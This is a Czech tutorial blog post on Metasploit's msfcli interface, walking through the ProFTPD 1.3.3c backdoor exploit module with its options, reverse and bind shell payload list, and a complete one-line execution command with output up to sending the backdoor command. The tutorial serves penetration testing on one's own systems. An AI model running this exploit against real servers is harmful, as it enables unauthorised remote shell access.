Metasploit Framework – Rozhraní příkazové řádky msfcli

Metasploit Framework – Rozhraní příkazové řádky msfcli

Metasploit Framework je open source nástroj pro penetrační testování. S jeho pomocí můžete provádět audit zařízení ve vaší síti. Pro tento audit můžete použít exploity z rozsáhlé databáze samotného Metasploit frameworku, či si napsat exploity vlastní. Metasploit framework poskytuje několik různých uživatelských rozhraní. Kromě interaktivní textové konzole (msfconsole) nabízí i grafické klikací mfsgui. Dříve bylo dostupné také webové rozhraní msfweb, které ale již od verze 3.5 není v Metasploit Framework zahrnuto. Dnešní článek však bude o rozhraní pro příkazovou řádku msfcli.

msfcli

Toto rozhraní je ideální pro použití ve skriptech či pro opakované testování jedné konkrétní zranitelnosti. Jde o to, že nemusíte opakovaně spouštět Metasploit konzoli a zadávat příkaz za příkazem, ale stačí napsat jeden jediný řádek, který si spustíte přímo v Bashi.

Ovládání

Nápovědu dostanete příkazem msfcli -h

$ msfcli -h
Usage: /opt/framework-3.6.0/msf3/msfcli <exploit_name> <option=value> [mode]
============================================================================

    Mode           Description
    ----           -----------
    (H)elp         You're looking at it baby!
    (S)ummary      Show information about this module
    (O)ptions      Show available options for this module
    (A)dvanced     Show available advanced options for this module
    (I)DS Evasion  Show available ids evasion options for this module
    (P)ayloads     Show available payloads for this module
    (T)argets      Show available targets for this exploit module
    (AC)tions      Show available actions for this auxiliary module
    (C)heck        Run the check routine of the selected module
    (E)xecute      Execute the selected module

Jako parametry msfcli zadáte exploit, který chcete použít, seznam voleb včetně jejich hodnot a mód ve kterém má být exploit spuštěn.

Seznam dostupných exploitů, včetně krátkého popisu získáte příkazem msfcli bez parametrů.
Pozor! Tento seznam je poměrně dlouhý, takže doporučuji si ho přesměrovat do souboru, nebo využít roury do more, nebo less. Osobně preferuji less:

$ msfcli | less

Detailnější informace o exploitu a jeho volby/parametry

Budeme tedy předpokládat, že jsem si vybrali exploit “exploit/unix/ftp/proftpd_133c_backdoor“, který slouží k využití zadních vrátek v FTP serveru ProFTPD.

Více informací o samotném exploitu získáme příkazem:

$ msfcli exploit/unix/ftp/proftpd_133c_backdoor S
[*] Please wait while we load the module tree...

       Name: ProFTPD-1.3.3c Backdoor Command Execution
     Module: exploit/unix/ftp/proftpd_133c_backdoor
    Version: 11214
   Platform: Unix
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
[ Výstup byl zkrácen ... ]

Volby exploitu zjistíme připojením znaku ‘O’ (písmeno velké o) na konec příkazu:

$ msfcli exploit/unix/ftp/proftpd_133c_backdoor O
[*] Please wait while we load the module tree...

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port

Nyní tedy víme, že při použití modulu musíme minimálně nastavit adresu cíle, pomocí volby RHOST. Také můžeme nastavit volbu cílového portu pomocí RPORT. Ale tato volba je ve výchozím stavu nastavena na port 21, což je port, na kterém většina FTP serverů naslouchá a tak není třeba jej měnit.

Pokročilejší volby zjistíte připojením znaku ‘A’:

$ msfcli exploit/unix/ftp/proftpd_133c_backdoor A
[*] Please wait while we load the module tree...

   Name           : CHOST
   Current Setting:
   Description    : The local client address

   Name           : CPORT
   Current Setting:
   Description    : The local client port

   Name           : ConnectTimeout
   Current Setting: 10
   Description    : Maximum number of seconds to establish a TCP connection

   Name           : ContextInformationFile
   Current Setting:
   Description    : The information file that contains context information
[ Výstup byl zkrácen ... ]

Pokud exploit podporuje výběr payloadu, tak podporované payloady zjistíme připojením znaku ‘P’:

$ msfcli exploit/unix/ftp/proftpd_133c_backdoor P
[*] Please wait while we load the module tree...

Compatible payloads
===================

Name                                Description
----                                -----------
cmd/unix/bind_perl                  Listen for a connection and spawn a command shell via perl
cmd/unix/bind_perl_ipv6             Listen for a connection and spawn a command shell via perl
cmd/unix/generic                    Executes the supplied command
cmd/unix/reverse                    Creates an interactive shell through two inbound connections
cmd/unix/reverse_perl               Creates an interactive shell via perl
cmd/unix/reverse_perl_ssl           Creates an interactive shell via perl, uses SSL
cmd/unix/reverse_ssl_double_telnet  Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option

Příklad použití

Pokud máte vybraný exploit, víte co vše je mu potřeba nastavit a máte nějaký svůj testovací systém, na kterém tento exploit chcete vyzkoušet, tak už Vám nic nebrání použít volbu E. Příklad použití:

$ msfcli exploit/unix/ftp/proftpd_133c_backdoor RHOST=muj_ftp_server E
[*] Please wait while we load the module tree...

                 o                       8         o   o
                 8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

       =[ metasploit v3.6.0-release [core:3.6 api:1.0]
+ -- --=[ 648 exploits - 340 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11889 updated 15 days ago (2011.03.07)

Warning: This copy of the Metasploit Framework was last updated 15 days ago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
         http://www.metasploit.com/redmine/projects/framework/wiki/Updating

RHOST => muj_ftp_server
[*] Started reverse double handler
[*] Sending Backdoor Command
[ Výstup byl zkrácen ... ]

Screenshot úspěšného získání session

Metasploit Framework - Proftpd exploit

Comments are closed.